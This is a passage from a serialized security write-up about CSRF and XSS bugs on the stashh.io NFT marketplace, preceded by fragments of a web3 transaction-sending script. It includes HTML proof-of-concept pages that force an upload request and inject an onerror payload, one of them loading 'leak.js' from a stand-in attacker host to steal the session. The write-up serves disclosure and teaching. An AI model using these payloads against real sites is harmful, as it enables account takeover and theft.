ype":24,"tag":147,"props":37765,"children":37766},{"style":3534},[37767],{"type":29,"value":37768},"'100000000'",{"type":24,"tag":147,"props":37770,"children":37771},{"style":235},[37772],{"type":29,"value":546},{"type":24,"tag":147,"props":37774,"children":37775},{"style":3534},[37776],{"type":29,"value":37777},"'ether'",{"type":24,"tag":147,"props":37779,"children":37780},{"style":235},[37781],{"type":29,"value":3519},{"type":24,"tag":147,"props":37783,"children":37784},{"class":149,"line":29376},[37785,37789,37794],{"type":24,"tag":147,"props":37786,"children":37787},{"style":235},[37788],{"type":29,"value":37718},{"type":24,"tag":147,"props":37790,"children":37791},{"style":229},[37792],{"type":29,"value":37793},"encodeABI",{"type":24,"tag":147,"props":37795,"children":37796},{"style":235},[37797],{"type":29,"value":9116},{"type":24,"tag":147,"props":37799,"children":37800},{"class":149,"line":29384},[37801],{"type":24,"tag":147,"props":37802,"children":37803},{"style":235},[37804],{"type":29,"value":14545},{"type":24,"tag":147,"props":37806,"children":37807},{"class":149,"line":29421},[37808],{"type":24,"tag":147,"props":37809,"children":37810},{"emptyLinePlaceholder":16},[37811],{"type":29,"value":314},{"type":24,"tag":147,"props":37813,"children":37814},{"class":149,"line":29434},[37815,37820,37824,37828,37832,37837,37841,37846],{"type":24,"tag":147,"props":37816,"children":37817},{"style":247},[37818],{"type":29,"value":37819},"      web3",{"type":24,"tag":147,"props":37821,"children":37822},{"style":235},[37823],{"type":29,"value":87},{"type":24,"tag":147,"props":37825,"children":37826},{"style":247},[37827],{"type":29,"value":37599},{"type":24,"tag":147,"props":37829,"children":37830},{"style":235},[37831],{"type":29,"value":87},{"type":24,"tag":147,"props":37833,"children":37834},{"style":229},[37835],{"type":29,"value":37836},"sendTransaction",{"type":24,"tag":147,"props":37838,"children":37839},{"style":235},[37840],{"type":29,"value":480},{"type":24,"tag":147,"props":37842,"children":37843},{"style":247},[37844],{"type":29,"value":37845},"transactionObject",{"type":24,"tag":147,"props":37847,"children":37848},{"style":235},[37849],{"type":29,"value":1473},{"type":24,"tag":147,"props":37851,"children":37852},{"class":149,"line":29447},[37853],{"type":24,"tag":147,"props":37854,"children":37855},{"style":235},[37856],{"type":29,"value":37857},"    });\n",{"type":24,"tag":147,"props":37859,"children":37860},{"class":149,"line":29460},[37861],{"type":24,"tag":147,"props":37862,"children":37863},{"style":235},[37864],{"type":29,"value":11496},{"type":24,"tag":147,"props":37866,"children":37867},{"class":149,"line":29514},[37868],{"type":24,"tag":147,"props":37869,"children":37870},{"style":235},[37871],{"type":29,"value":827},{"type":24,"tag":147,"props":37873,"children":37874},{"class":149,"line":29523},[37875],{"type":24,"tag":147,"props":37876,"children":37877},{"emptyLinePlaceholder":16},[37878],{"type":29,"value":314},{"type":24,"tag":147,"props":37880,"children":37882},{"class":149,"line":37881},51,[37883,37887,37891,37896],{"type":24,"tag":147,"props":37884,"children":37885},{"style":218},[37886],{"type":29,"value":25088},{"type":24,"tag":147,"props":37888,"children":37889},{"style":235},[37890],{"type":29,"value":480},{"type":24,"tag":147,"props":37892,"children":37893},{"style":3534},[37894],{"type":29,"value":37895},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":24,"tag":147,"props":37897,"children":37898},{"style":235},[37899],{"type":29,"value":1473},{"type":24,"tag":147,"props":37901,"children":37903},{"class":149,"line":37902},52,[37904,37909,37913,37917,37921,37926],{"type":24,"tag":147,"props":37905,"children":37906},{"style":229},[37907],{"type":29,"value":37908},"setTimeout",{"type":24,"tag":147,"props":37910,"children":37911},{"style":235},[37912],{"type":29,"value":480},{"type":24,"tag":147,"props":37914,"children":37915},{"style":247},[37916],{"type":29,"value":37093},{"type":24,"tag":147,"props":37918,"children":37919},{"style":235},[37920],{"type":29,"value":546},{"type":24,"tag":147,"props":37922,"children":37923},{"style":705},[37924],{"type":29,"value":37925},"1e3",{"type":24,"tag":147,"props":37927,"children":37928},{"style":235},[37929],{"type":29,"value":1473},{"type":24,"tag":25,"props":37931,"children":37932},{},[37933,37938],{"type":24,"tag":10949,"props":37934,"children":37935},{},[37936],{"type":29,"value":37937},"CSRF & XSS",{"type":29,"value":37939},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":24,"tag":25,"props":37941,"children":37942},{},[37943,37945,37950],{"type":29,"value":37944},"Our attention was drawn to ",{"type":24,"tag":2773,"props":37946,"children":37948},{"href":36881,"rel":37947},[2777],[37949],{"type":29,"value":36885},{"type":29,"value":37951},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":24,"tag":25,"props":37953,"children":37954},{},[37955],{"type":24,"tag":63,"props":37956,"children":37958},{"alt":7,"src":37957},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":24,"tag":25,"props":37960,"children":37961},{},[37962],{"type":29,"value":37963},"and here there is the code:",{"type":24,"tag":137,"props":37965,"children":37967},{"className":36964,"code":37966,"language":36966,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[37968],{"type":24,"tag":80,"props":37969,"children":37970},{"__ignoreMap":7},[37971,37988,38005,38039,38125,38182,38381,38422,38438,38454,38461,38476,38483,38495,38554,38561,38624,38653,38690,38697,38735,38748,38755,38770],{"type":24,"tag":147,"props":37972,"children":37973},{"class":149,"line":150},[37974,37979,37984],{"type":24,"tag":147,"props":37975,"children":37977},{"style":37976},"--shiki-default:#808080",[37978],{"type":29,"value":3583},{"type":24,"tag":147,"props":37980,"children":37981},{"style":218},[37982],{"type":29,"value":37983},"html",{"type":24,"tag":147,"props":37985,"children":37986},{"style":37976},[37987],{"type":29,"value":11617},{"type":24,"tag":147,"props":37989,"children":37990},{"class":149,"line":160},[37991,37996,38001],{"type":24,"tag":147,"props":37992,"children":37993},{"style":37976},[37994],{"type":29,"value":37995},"  \u003C",{"type":24,"tag":147,"props":37997,"children":37998},{"style":218},[37999],{"type":29,"value":38000},"body",{"type":24,"tag":147,"props":38002,"children":38003},{"style":37976},[38004],{"type":29,"value":11617},{"type":24,"tag":147,"props":38006,"children":38007},{"class":149,"line":169},[38008,38012,38017,38021,38026,38031,38035],{"type":24,"tag":147,"props":38009,"children":38010},{"style":37976},[38011],{"type":29,"value":37995},{"type":24,"tag":147,"props":38013,"children":38014},{"style":218},[38015],{"type":29,"value":38016},"script",{"type":24,"tag":147,"props":38018,"children":38019},{"style":37976},[38020],{"type":29,"value":3453},{"type":24,"tag":147,"props":38022,"children":38023},{"style":235},[38024],{"type":29,"value":38025},"history.pushState('', '', '/')",{"type":24,"tag":147,"props":38027,"children":38028},{"style":37976},[38029],{"type":29,"value":38030},"\u003C/",{"type":24,"tag":147,"props":38032,"children":38033},{"style":218},[38034],{"type":29,"value":38016},{"type":24,"tag":147,"props":38036,"children":38037},{"style":37976},[38038],{"type":29,"value":11617},{"type":24,"tag":147,"props":38040,"children":38041},{"class":149,"line":178},[38042,38047,38052,38057,38061,38066,38071,38075,38080,38084,38088,38093,38098,38102,38107,38112,38116,38121],{"type":24,"tag":147,"props":38043,"children":38044},{"style":37976},[38045],{"type":29,"value":38046},"    \u003C",{"type":24,"tag":147,"props":38048,"children":38049},{"style":218},[38050],{"type":29,"value":38051},"form",{"type":24,"tag":147,"props":38053,"children":38054},{"style":247},[38055],{"type":29,"value":38056}," id",{"type":24,"tag":147,"props":38058,"children":38059},{"style":241},[38060],{"type":29,"value":369},{"type":24,"tag":147,"props":38062,"children":38063},{"style":3534},[38064],{"type":29,"value":38065},"\"form123\"",{"type":24,"tag":147,"props":38067,"children":38068},{"style":247},[38069],{"type":29,"value":38070}," action",{"type":24,"tag":147,"props":38072,"children":38073},{"style":241},[38074],{"type":29,"value":369},{"type":24,"tag":147,"props":38076,"children":38077},{"style":3534},[38078],{"type":29,"value":38079},"\"https://stashh.io/upload_asset\"",{"type":24,"tag":147,"props":38081,"children":38082},{"style":247},[38083],{"type":29,"value":22715},{"type":24,"tag":147,"props":38085,"children":38086},{"style":241},[38087],{"type":29,"value":369},{"type":24,"tag":147,"props":38089,"children":38090},{"style":3534},[38091],{"type":29,"value":38092},"\"POST\"",{"type":24,"tag":147,"props":38094,"children":38095},{"style":247},[38096],{"type":29,"value":38097}," enctype",{"type":24,"tag":147,"props":38099,"children":38100},{"style":241},[38101],{"type":29,"value":369},{"type":24,"tag":147,"props":38103,"children":38104},{"style":3534},[38105],{"type":29,"value":38106},"\"multipart/form-data\"",{"type":24,"tag":147,"props":38108,"children":38109},{"style":247},[38110],{"type":29,"value":38111}," value",{"type":24,"tag":147,"props":38113,"children":38114},{"style":241},[38115],{"type":29,"value":369},{"type":24,"tag":147,"props":38117,"children":38118},{"style":3534},[38119],{"type":29,"value":38120},"\"asd\"",{"type":24,"tag":147,"props":38122,"children":38123},{"style":37976},[38124],{"type":29,"value":11617},{"type":24,"tag":147,"props":38126,"children":38127},{"class":149,"line":187},[38128,38133,38137,38142,38146,38151,38156,38160,38165,38169,38173,38178],{"type":24,"tag":147,"props":38129,"children":38130},{"style":37976},[38131],{"type":29,"value":38132},"     \u003C",{"type":24,"tag":147,"props":38134,"children":38135},{"style":218},[38136],{"type":29,"value":13992},{"type":24,"tag":147,"props":38138,"children":38139},{"style":247},[38140],{"type":29,"value":38141}," type",{"type":24,"tag":147,"props":38143,"children":38144},{"style":241},[38145],{"type":29,"value":369},{"type":24,"tag":147,"props":38147,"children":38148},{"style":3534},[38149],{"type":29,"value":38150},"\"file\"",{"type":24,"tag":147,"props":38152,"children":38153},{"style":247},[38154],{"type":29,"value":38155}," name",{"type":24,"tag":147,"props":38157,"children":38158},{"style":241},[38159],{"type":29,"value":369},{"type":24,"tag":147,"props":38161,"children":38162},{"style":3534},[38163],{"type":29,"value":38164},"\"data\"",{"type":24,"tag":147,"props":38166,"children":38167},{"style":247},[38168],{"type":29,"value":38056},{"type":24,"tag":147,"props":38170,"children":38171},{"style":241},[38172],{"type":29,"value":369},{"type":24,"tag":147,"props":38174,"children":38175},{"style":3534},[38176],{"type":29,"value":38177},"\"file123\"",{"type":24,"tag":147,"props":38179,"children":38180},{"style":37976},[38181],{"type":29,"value":11617},{"type":24,"tag":147,"props":38183,"children":38184},{"class":149,"line":196},[38185,38190,38194,38198,38202,38207,38211,38215,38220,38224,38228,38232,38237,38242,38247,38252,38257,38261,38266,38271,38276,38280,38285,38290,38294,38299,38304,38309,38314,38319,38324,38329,38333,38338,38343,38348,38353,38358,38362,38367,38372,38376],{"type":24,"tag":147,"props":38186,"children":38187},{"style":37976},[38188],{"type":29,"value":38189},"      \u003C",{"type":24,"tag":147,"props":38191,"children":38192},{"style":218},[38193],{"type":29,"value":13992},{"type":24,"tag":147,"props":38195,"children":38196},{"style":247},[38197],{"type":29,"value":38141},{"type":24,"tag":147,"props":38199,"children":38200},{"style":241},[38201],{"type":29,"value":369},{"type":24,"tag":147,"props":38203,"children":38204},{"style":3534},[38205],{"type":29,"value":38206},"\"hidden\"",{"type":24,"tag":147,"props":38208,"children":38209},{"style":247},[38210],{"type":29,"value":38155},{"type":24,"tag":147,"props":38212,"children":38213},{"style":241},[38214],{"type":29,"value":369},{"type":24,"tag":147,"props":38216,"children":38217},{"style":3534},[38218],{"type":29,"value":38219},"\"config\"",{"type":24,"tag":147,"props":38221,"children":38222},{"style":247},[38223],{"type":29,"value":38111},{"type":24,"tag":147,"props":38225,"children":38226},{"style":241},[38227],{"type":29,"value":369},{"type":24,"tag":147,"props":38229,"children":38230},{"style":3534},[38231],{"type":29,"value":25663},{"type":24,"tag":147,"props":38233,"children":38234},{"style":218},[38235],{"type":29,"value":38236},"{"",{"type":24,"tag":147,"props":38238,"children":38239},{"style":3534},[38240],{"type":29,"value":38241},"address",{"type":24,"tag":147,"props":38243,"children":38244},{"style":218},[38245],{"type":29,"value":38246},"":"",{"type":24,"tag":147,"props":38248,"children":38249},{"style":3534},[38250],{"type":29,"value":38251},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":24,"tag":147,"props":38253,"children":38254},{"style":218},[38255],{"type":29,"value":38256},"<",{"type":24,"tag":147,"props":38258,"children":38259},{"style":3534},[38260],{"type":29,"value":63},{"type":24,"tag":147,"props":38262,"children":38263},{"style":218},[38264],{"type":29,"value":38265},"/",{"type":24,"tag":147,"props":38267,"children":38268},{"style":3534},[38269],{"type":29,"value":38270},"src",{"type":24,"tag":147,"props":38272,"children":38273},{"style":218},[38274],{"type":29,"value":38275},"=",{"type":24,"tag":147,"props":38277,"children":38278},{"style":3534},[38279],{"type":29,"value":24880},{"type":24,"tag":147,"props":38281,"children":38282},{"style":218},[38283],{"type":29,"value":38284}," ",{"type":24,"tag":147,"props":38286,"children":38287},{"style":3534},[38288],{"type":29,"value":38289},"onerror",{"type":24,"tag":147,"props":38291,"children":38292},{"style":218},[38293],{"type":29,"value":38275},{"type":24,"tag":147,"props":38295,"children":38296},{"style":3534},[38297],{"type":29,"value":38298},"alert",{"type":24,"tag":147,"props":38300,"children":38301},{"style":218},[38302],{"type":29,"value":38303},"(",{"type":24,"tag":147,"props":38305,"children":38306},{"style":3534},[38307],{"type":29,"value":38308},"document",{"type":24,"tag":147,"props":38310,"children":38311},{"style":218},[38312],{"type":29,"value":38313},".",{"type":24,"tag":147,"props":38315,"children":38316},{"style":3534},[38317],{"type":29,"value":38318},"domain",{"type":24,"tag":147,"props":38320,"children":38321},{"style":218},[38322],{"type":29,"value":38323},")>","",{"type":24,"tag":147,"props":38325,"children":38326},{"style":3534},[38327],{"type":29,"value":38328},"to",{"type":24,"tag":147,"props":38330,"children":38331},{"style":218},[38332],{"type":29,"value":38246},{"type":24,"tag":147,"props":38334,"children":38335},{"style":3534},[38336],{"type":29,"value":38337},"profile",{"type":24,"tag":147,"props":38339,"children":38340},{"style":218},[38341],{"type":29,"value":38342},"-",{"type":24,"tag":147,"props":38344,"children":38345},{"style":3534},[38346],{"type":29,"value":38347},"assets",{"type":24,"tag":147,"props":38349,"children":38350},{"style":218},[38351],{"type":29,"value":38352},"","",{"type":24,"tag":147,"props":38354,"children":38355},{"style":3534},[38356],{"type":29,"value":38357},"type",{"type":24,"tag":147,"props":38359,"children":38360},{"style":218},[38361],{"type":29,"value":38246},{"type":24,"tag":147,"props":38363,"children":38364},{"style":3534},[38365],{"type":29,"value":38366},"icon",{"type":24,"tag":147,"props":38368,"children":38369},{"style":218},[38370],{"type":29,"value":38371},""}",{"type":24,"tag":147,"props":38373,"children":38374},{"style":3534},[38375],{"type":29,"value":25663},{"type":24,"tag":147,"props":38377,"children":38378},{"style":37976},[38379],{"type":29,"value":38380}," />\n",{"type":24,"tag":147,"props":38382,"children":38383},{"class":149,"line":205},[38384,38388,38392,38396,38400,38405,38409,38413,38418],{"type":24,"tag":147,"props":38385,"children":38386},{"style":37976},[38387],{"type":29,"value":38189},{"type":24,"tag":147,"props":38389,"children":38390},{"style":218},[38391],{"type":29,"value":13992},{"type":24,"tag":147,"props":38393,"children":38394},{"style":247},[38395],{"type":29,"value":38141},{"type":24,"tag":147,"props":38397,"children":38398},{"style":241},[38399],{"type":29,"value":369},{"type":24,"tag":147,"props":38401,"children":38402},{"style":3534},[38403],{"type":29,"value":38404},"\"submit\"",{"type":24,"tag":147,"props":38406,"children":38407},{"style":247},[38408],{"type":29,"value":38111},{"type":24,"tag":147,"props":38410,"children":38411},{"style":241},[38412],{"type":29,"value":369},{"type":24,"tag":147,"props":38414,"children":38415},{"style":3534},[38416],{"type":29,"value":38417},"\"Submit request\"",{"type":24,"tag":147,"props":38419,"children":38420},{"style":37976},[38421],{"type":29,"value":38380},{"type":24,"tag":147,"props":38423,"children":38424},{"class":149,"line":214},[38425,38430,38434],{"type":24,"tag":147,"props":38426,"children":38427},{"style":37976},[38428],{"type":29,"value":38429},"    \u003C/",{"type":24,"tag":147,"props":38431,"children":38432},{"style":218},[38433],{"type":29,"value":38051},{"type":24,"tag":147,"props":38435,"children":38436},{"style":37976},[38437],{"type":29,"value":11617},{"type":24,"tag":147,"props":38439,"children":38440},{"class":149,"line":272},[38441,38446,38450],{"type":24,"tag":147,"props":38442,"children":38443},{"style":37976},[38444],{"type":29,"value":38445},"  \u003C/",{"type":24,"tag":147,"props":38447,"children":38448},{"style":218},[38449],{"type":29,"value":38000},{"type":24,"tag":147,"props":38451,"children":38452},{"style":37976},[38453],{"type":29,"value":11617},{"type":24,"tag":147,"props":38455,"children":38456},{"class":149,"line":281},[38457],{"type":24,"tag":147,"props":38458,"children":38459},{"emptyLinePlaceholder":16},[38460],{"type":29,"value":314},{"type":24,"tag":147,"props":38462,"children":38463},{"class":149,"line":299},[38464,38468,38472],{"type":24,"tag":147,"props":38465,"children":38466},{"style":37976},[38467],{"type":29,"value":37995},{"type":24,"tag":147,"props":38469,"children":38470},{"style":218},[38471],{"type":29,"value":38016},{"type":24,"tag":147,"props":38473,"children":38474},{"style":37976},[38475],{"type":29,"value":11617},{"type":24,"tag":147,"props":38477,"children":38478},{"class":149,"line":308},[38479],{"type":24,"tag":147,"props":38480,"children":38481},{"emptyLinePlaceholder":16},[38482],{"type":29,"value":314},{"type":24,"tag":147,"props":38484,"children":38485},{"class":149,"line":317},[38486,38491],{"type":24,"tag":147,"props":38487,"children":38488},{"style":235},[38489],{"type":29,"value":38490},"    (async ()=>",{"type":24,"tag":147,"props":38492,"children":38493},{"style":218},[38494],{"type":29,"value":278},{"type":24,"tag":147,"props":38496,"children":38497},{"class":149,"line":332},[38498,38503,38508,38513,38518,38522,38526,38531,38535,38540,38545,38550],{"type":24,"tag":147,"props":38499,"children":38500},{"style":247},[38501],{"type":29,"value":38502},"        const",{"type":24,"tag":147,"props":38504,"children":38505},{"style":247},[38506],{"type":29,"value":38507}," blob",{"type":24,"tag":147,"props":38509,"children":38510},{"style":241},[38511],{"type":29,"value":38512}," = ",{"type":24,"tag":147,"props":38514,"children":38515},{"style":321},[38516],{"type":29,"value":38517},"await",{"type":24,"tag":147,"props":38519,"children":38520},{"style":241},[38521],{"type":29,"value":408},{"type":24,"tag":147,"props":38523,"children":38524},{"style":321},[38525],{"type":29,"value":38517},{"type":24,"tag":147,"props":38527,"children":38528},{"style":229},[38529],{"type":29,"value":38530}," fetch",{"type":24,"tag":147,"props":38532,"children":38533},{"style":241},[38534],{"type":29,"value":480},{"type":24,"tag":147,"props":38536,"children":38537},{"style":3534},[38538],{"type":29,"value":38539},"\"/sapo.png\"",{"type":24,"tag":147,"props":38541,"children":38542},{"style":241},[38543],{"type":29,"value":38544},")).",{"type":24,"tag":147,"props":38546,"children":38547},{"style":229},[38548],{"type":29,"value":38549},"blob",{"type":24,"tag":147,"props":38551,"children":38552},{"style":241},[38553],{"type":29,"value":13361},{"type":24,"tag":147,"props":38555,"children":38556},{"class":149,"line":350},[38557],{"type":24,"tag":147,"props":38558,"children":38559},{"emptyLinePlaceholder":16},[38560],{"type":29,"value":314},{"type":24,"tag":147,"props":38562,"children":38563},{"class":149,"line":358},[38564,38568,38573,38577,38581,38586,38591,38595,38599,38604,38609,38614,38619],{"type":24,"tag":147,"props":38565,"children":38566},{"style":247},[38567],{"type":29,"value":8696},{"type":24,"tag":147,"props":38569,"children":38570},{"style":247},[38571],{"type":29,"value":38572}," f",{"type":24,"tag":147,"props":38574,"children":38575},{"style":241},[38576],{"type":29,"value":38512},{"type":24,"tag":147,"props":38578,"children":38579},{"style":218},[38580],{"type":29,"value":20734},{"type":24,"tag":147,"props":38582,"children":38583},{"style":229},[38584],{"type":29,"value":38585}," File",{"type":24,"tag":147,"props":38587,"children":38588},{"style":241},[38589],{"type":29,"value":38590},"([",{"type":24,"tag":147,"props":38592,"children":38593},{"style":247},[38594],{"type":29,"value":38549},{"type":24,"tag":147,"props":38596,"children":38597},{"style":241},[38598],{"type":29,"value":28662},{"type":24,"tag":147,"props":38600,"children":38601},{"style":3534},[38602],{"type":29,"value":38603},"'sapo.png'",{"type":24,"tag":147,"props":38605,"children":38606},{"style":241},[38607],{"type":29,"value":38608},", {",{"type":24,"tag":147,"props":38610,"children":38611},{"style":247},[38612],{"type":29,"value":38613},"type:",{"type":24,"tag":147,"props":38615,"children":38616},{"style":3534},[38617],{"type":29,"value":38618}," 'image/png'",{"type":24,"tag":147,"props":38620,"children":38621},{"style":241},[38622],{"type":29,"value":38623},"})\n",{"type":24,"tag":147,"props":38625,"children":38626},{"class":149,"line":397},[38627,38631,38636,38640,38644,38649],{"type":24,"tag":147,"props":38628,"children":38629},{"style":247},[38630],{"type":29,"value":38502},{"type":24,"tag":147,"props":38632,"children":38633},{"style":247},[38634],{"type":29,"value":38635}," dataTransfer",{"type":24,"tag":147,"props":38637,"children":38638},{"style":241},[38639],{"type":29,"value":38512},{"type":24,"tag":147,"props":38641,"children":38642},{"style":218},[38643],{"type":29,"value":20734},{"type":24,"tag":147,"props":38645,"children":38646},{"style":229},[38647],{"type":29,"value":38648}," DataTransfer",{"type":24,"tag":147,"props":38650,"children":38651},{"style":241},[38652],{"type":29,"value":9295},{"type":24,"tag":147,"props":38654,"children":38655},{"class":149,"line":421},[38656,38661,38665,38670,38674,38678,38682,38686],{"type":24,"tag":147,"props":38657,"children":38658},{"style":247},[38659],{"type":29,"value":38660},"        dataTransfer",{"type":24,"tag":147,"props":38662,"children":38663},{"style":241},[38664],{"type":29,"value":87},{"type":24,"tag":147,"props":38666,"children":38667},{"style":247},[38668],{"type":29,"value":38669},"items",{"type":24,"tag":147,"props":38671,"children":38672},{"style":241},[38673],{"type":29,"value":87},{"type":24,"tag":147,"props":38675,"children":38676},{"style":229},[38677],{"type":29,"value":15259},{"type":24,"tag":147,"props":38679,"children":38680},{"style":241},[38681],{"type":29,"value":480},{"type":24,"tag":147,"props":38683,"children":38684},{"style":247},[38685],{"type":29,"value":6999},{"type":24,"tag":147,"props":38687,"children":38688},{"style":241},[38689],{"type":29,"value":1473},{"type":24,"tag":147,"props":38691,"children":38692},{"class":149,"line":435},[38693],{"type":24,"tag":147,"props":38694,"children":38695},{"emptyLinePlaceholder":16},[38696],{"type":29,"value":314},{"type":24,"tag":147,"props":38698,"children":38699},{"class":149,"line":444},[38700,38705,38709,38714,38718,38723,38727,38731],{"type":24,"tag":147,"props":38701,"children":38702},{"style":247},[38703],{"type":29,"value":38704},"        file123",{"type":24,"tag":147,"props":38706,"children":38707},{"style":241},[38708],{"type":29,"value":87},{"type":24,"tag":147,"props":38710,"children":38711},{"style":247},[38712],{"type":29,"value":38713},"files",{"type":24,"tag":147,"props":38715,"children":38716},{"style":241},[38717],{"type":29,"value":38512},{"type":24,"tag":147,"props":38719,"children":38720},{"style":247},[38721],{"type":29,"value":38722},"dataTransfer",{"type":24,"tag":147,"props":38724,"children":38725},{"style":241},[38726],{"type":29,"value":87},{"type":24,"tag":147,"props":38728,"children":38729},{"style":247},[38730],{"type":29,"value":38713},{"type":24,"tag":147,"props":38732,"children":38733},{"style":241},[38734],{"type":29,"value":432},{"type":24,"tag":147,"props":38736,"children":38737},{"class":149,"line":452},[38738,38743],{"type":24,"tag":147,"props":38739,"children":38740},{"style":218},[38741],{"type":29,"value":38742},"    }",{"type":24,"tag":147,"props":38744,"children":38745},{"style":235},[38746],{"type":29,"value":38747},")()\n",{"type":24,"tag":147,"props":38749,"children":38750},{"class":149,"line":461},[38751],{"type":24,"tag":147,"props":38752,"children":38753},{"emptyLinePlaceholder":16},[38754],{"type":29,"value":314},{"type":24,"tag":147,"props":38756,"children":38757},{"class":149,"line":469},[38758,38762,38766],{"type":24,"tag":147,"props":38759,"children":38760},{"style":37976},[38761],{"type":29,"value":38445},{"type":24,"tag":147,"props":38763,"children":38764},{"style":218},[38765],{"type":29,"value":38016},{"type":24,"tag":147,"props":38767,"children":38768},{"style":37976},[38769],{"type":29,"value":11617},{"type":24,"tag":147,"props":38771,"children":38772},{"class":149,"line":508},[38773,38777,38781],{"type":24,"tag":147,"props":38774,"children":38775},{"style":37976},[38776],{"type":29,"value":38030},{"type":24,"tag":147,"props":38778,"children":38779},{"style":218},[38780],{"type":29,"value":37983},{"type":24,"tag":147,"props":38782,"children":38783},{"style":37976},[38784],{"type":29,"value":11617},{"type":24,"tag":25,"props":38786,"children":38787},{},[38788],{"type":29,"value":38789},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":24,"tag":25,"props":38791,"children":38792},{},[38793],{"type":29,"value":38794},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":24,"tag":25,"props":38796,"children":38797},{},[38798],{"type":29,"value":38799},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":24,"tag":25,"props":38801,"children":38802},{},[38803],{"type":29,"value":38804},"From here, we were able to steal the session cookie from local storage.",{"type":24,"tag":137,"props":38806,"children":38808},{"className":36964,"code":38807,"language":36966,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[38809],{"type":24,"tag":80,"props":38810,"children":38811},{"__ignoreMap":7},[38812,38827,38842,38873,38948,38999,39187,39226,39241,39256,39263,39278,39285,39296,39347,39354,39409,39436,39471,39478,39513,39520,39541,39552,39559,39574],{"type":24,"tag":147,"props":38813,"children":38814},{"class":149,"line":150},[38815,38819,38823],{"type":24,"tag":147,"props":38816,"children":38817},{"style":37976},[38818],{"type":29,"value":3583},{"type":24,"tag":147,"props":38820,"children":38821},{"style":218},[38822],{"type":29,"value":37983},{"type":24,"tag":147,"props":38824,"children":38825},{"style":37976},[38826],{"type":29,"value":11617},{"type":24,"tag":147,"props":38828,"children":38829},{"class":149,"line":160},[38830,38834,38838],{"type":24,"tag":147,"props":38831,"children":38832},{"style":37976},[38833],{"type":29,"value":37995},{"type":24,"tag":147,"props":38835,"children":38836},{"style":218},[38837],{"type":29,"value":38000},{"type":24,"tag":147,"props":38839,"children":38840},{"style":37976},[38841],{"type":29,"value":11617},{"type":24,"tag":147,"props":38843,"children":38844},{"class":149,"line":169},[38845,38849,38853,38857,38861,38865,38869],{"type":24,"tag":147,"props":38846,"children":38847},{"style":37976},[38848],{"type":29,"value":37995},{"type":24,"tag":147,"props":38850,"children":38851},{"style":218},[38852],{"type":29,"value":38016},{"type":24,"tag":147,"props":38854,"children":38855},{"style":37976},[38856],{"type":29,"value":3453},{"type":24,"tag":147,"props":38858,"children":38859},{"style":235},[38860],{"type":29,"value":38025},{"type":24,"tag":147,"props":38862,"children":38863},{"style":37976},[38864],{"type":29,"value":38030},{"type":24,"tag":147,"props":38866,"children":38867},{"style":218},[38868],{"type":29,"value":38016},{"type":24,"tag":147,"props":38870,"children":38871},{"style":37976},[38872],{"type":29,"value":11617},{"type":24,"tag":147,"props":38874,"children":38875},{"class":149,"line":178},[38876,38880,38884,38888,38892,38896,38900,38904,38908,38912,38916,38920,38924,38928,38932,38936,38940,38944],{"type":24,"tag":147,"props":38877,"children":38878},{"style":37976},[38879],{"type":29,"value":38046},{"type":24,"tag":147,"props":38881,"children":38882},{"style":218},[38883],{"type":29,"value":38051},{"type":24,"tag":147,"props":38885,"children":38886},{"style":247},[38887],{"type":29,"value":38056},{"type":24,"tag":147,"props":38889,"children":38890},{"style":241},[38891],{"type":29,"value":369},{"type":24,"tag":147,"props":38893,"children":38894},{"style":3534},[38895],{"type":29,"value":38065},{"type":24,"tag":147,"props":38897,"children":38898},{"style":247},[38899],{"type":29,"value":38070},{"type":24,"tag":147,"props":38901,"children":38902},{"style":241},[38903],{"type":29,"value":369},{"type":24,"tag":147,"props":38905,"children":38906},{"style":3534},[38907],{"type":29,"value":38079},{"type":24,"tag":147,"props":38909,"children":38910},{"style":247},[38911],{"type":29,"value":22715},{"type":24,"tag":147,"props":38913,"children":38914},{"style":241},[38915],{"type":29,"value":369},{"type":24,"tag":147,"props":38917,"children":38918},{"style":3534},[38919],{"type":29,"value":38092},{"type":24,"tag":147,"props":38921,"children":38922},{"style":247},[38923],{"type":29,